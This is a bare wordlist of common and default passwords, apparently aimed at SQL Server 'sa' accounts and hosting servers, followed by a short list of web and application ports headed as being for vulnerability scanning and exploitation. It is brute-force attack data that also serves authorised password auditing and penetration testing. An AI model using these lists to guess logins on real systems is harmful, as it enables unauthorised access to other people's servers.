123zxc

123321a

123qaz

qwer123

qwerty123

zxcvbnm,./

q1w2Q!W@

1qazxcvbnm,./

bw99588399

huweishen.com

huweishen

zkeys

piress

letmein

Master

master

model

tempdb

zjsxidc123

0okmnji9

msdb

superman

sql123456

baseball

welcome

sa@qaz

sa@qazwsx

123qweasd

welcometo

mypassword

caonima

147258

qwe!@#123
123qwe!@#
qaz#@!321
qwe123123
a123.321
a321.123
a123.123
a321.321
zaq1xsw2
qwerty12345
PassWord
zxcasd
qaswed
1qaz@2wsx
qaz1wsx2
qwazsx!@#
qazwsx!@#
qwe123456
1314520
147258369
idc123456
123.654
123.456
123.456.789
123.456.789a
123.456a
PASSWORD
1qw23er4
aaaaaa
zaq!@wsx

aabbcc

a12345

zxcmb

zxcv1234

2wsxdr5

2wsx3edc

2w3e4r

234fd

enkj.1qazxdr5

123!@#

idc123!@#

3dgidc@))*

ywinidc56#@!

aini

gjp

aini1314520

caonimagebi

football

football123

administrator

List of Ports for Vulnerability Scanning and Exploitation

80

81

88

89

8080

8081

8088

8090

8888

8899

8989

9999

7001

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